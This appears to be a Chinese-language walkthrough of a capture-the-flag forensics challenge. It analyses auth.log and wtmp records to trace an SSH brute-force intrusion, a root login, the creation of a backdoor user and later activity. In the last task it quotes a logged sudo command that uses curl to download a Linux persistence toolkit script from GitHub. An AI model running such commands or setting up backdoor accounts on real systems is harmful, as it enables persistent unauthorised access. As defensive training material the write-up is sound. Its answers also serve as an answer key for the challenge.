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Brutus 场景： 在这个非常简单的 Sherlock 中，你将熟悉 Unix 的 auth.log 和 wtmp 日志。我们将探讨一个场景，其中 Confluence 服务器通过其 SSH 服务被暴力破解。在获得服务器访问权限后，攻击者执行了其他活动，我们可以使用 auth.log 来追踪这些活动。虽然 auth.log 主要用于暴力破解分析，但在我们的调查中，我们将深入挖掘这个证据的全部潜力，包括权限提升、持久化甚至一些命令执行的可见性。Task1：Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?/分析 auth.log，你能识别出攻击者用来进行暴力破解攻击的 IP 地址吗？首先既然是暴力破解，就意味着大量的失败登录，那么我们先对log进行关键字搜索failed，error等字样。发现多个ssh登录失败请求。Mar 6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2那么65.2.161.68就是攻击者暴力破解的IP地址Task2：The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?/暴力破解尝试成功，攻击者获得了服务器上的一个账户访问权限。这个账户的用户名是什么？既然知道了攻击者是在暴力破解ssh服务，那么登录成功在Linux里是Accepted password，搜索关键词，发现线索Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2 Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0) Mar 6 06:19:54 ip-172-31-35-28 systemd-logind[411]: New session 6 of user root.这说明攻击者是用root账户登录的Task3：Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact./识别攻击者手动登录服务器并建立终端会话以执行其目标的 UTC 时间戳。登录时间将不同于认证时间，可以在 wtmp 证据中找到。┌──(root㉿kali)-[~/桌面/test] └─# utmpdump wtmp Utmp dump of wtmp [2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00] [5] [00601] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00] [6] [00601] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00] [5] [00618] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00] [6] [00618] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00] [1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:33,792454+00:00] [7] [01284] [ts/0] [ubuntu ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:13:58,354674+00:00] [8] [01284] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T11:15:12,956114+00:00] [7] [01483] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:15:40,806926+00:00] [8] [01404] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T12:34:34,949753+00:00] [7] [836798] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:33:49,408334+00:00] [5] [838568] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00] [6] [838568] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00] [7] [838962] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:41:11,700107+00:00] [8] [838896] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T10:41:46,272984+00:00] [7] [842171] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:54:27,775434+00:00] [8] [842073] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769514+00:00] [8] [836694] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769963+00:00] [1] [00000] [~~ ] [shutdown] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-02-11T11:09:18,000731+00:00] [2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:15,744575+00:00] [5] [00464] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00] [6] [00464] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00] [5] [00505] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00] [6] [00505] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00] [1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:29,538024+00:00] [7] [01583] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-03-06T06:19:55,151913+00:00] [7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00] [8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00] [7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]我们可以看到有tty和pty，我们先介绍下tty和pty，tty = 本地/真实终端，pts = 伪终端（远程终端），那么情况很明了了，我们需要找的是pty（远程终端）和root用户登录的记录，那么我们找出记录[7] [01583] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-03-06T06:19:55,151913+00:00] [7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00] [8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00] [7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]很明显pts/0是原来Ip使用的,第一个远程的新终端是pts/1，那么首次登录的就是2024-03-06 06:32:45Task4：SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?/登录时会跟踪 SSH 登录会话并分配一个会话编号。问题2中为攻击者的用户账户分配的会话号码是什么?我们首先使用命令来进行筛选root用户的记录cat auth.log | grep "root"我们可以看得出有两个记录。Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2 Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0) Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root. Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782这个就很明显是陷阱，由自动化工具打开测试的，PASS！Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2 Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0) Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root. Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)这个就是攻击者的用户账户分配的会话号码为37。Task5：The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?/攻击者在服务器上添加了新用户作为持久化策略的一部分,并赋予该新用户账户更高的权限。这个账户叫什么名字?查看记录发现新用户创建记录Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1 Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie Mar 6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)新的持久化用户即为cyberjunkieTask6：What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?/MITRE ATT&CK 子技术 ID 用于创建新账户来实现持久化的是什么?这个就是纯理论题了，T1136.001 – Create Account: Local Account，答案编号是即为T1136.001Task7：What time did the attacker's first SSH session end according to auth.log?/根据 auth.log 的说法,攻击者的首次 SSH 会话是什么时候结束的?Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root. Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184 Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00] [8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00]从这两条记录都能看出答案是2024-03-06 06:37:24Task8：The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?/攻击者登录了后门账户,并利用其更高权限下载了脚本。使用 sudo 执行的完整命令是什么?从题意就能看得出来，这样必须会有sudo指令，那么筛选检索cat auth.log | grep "sudo"发现记录Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh我们可以看到这个新添加的用户使用 curl 从 github 下载了 linper（Linux 持久化工具包）答案是/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

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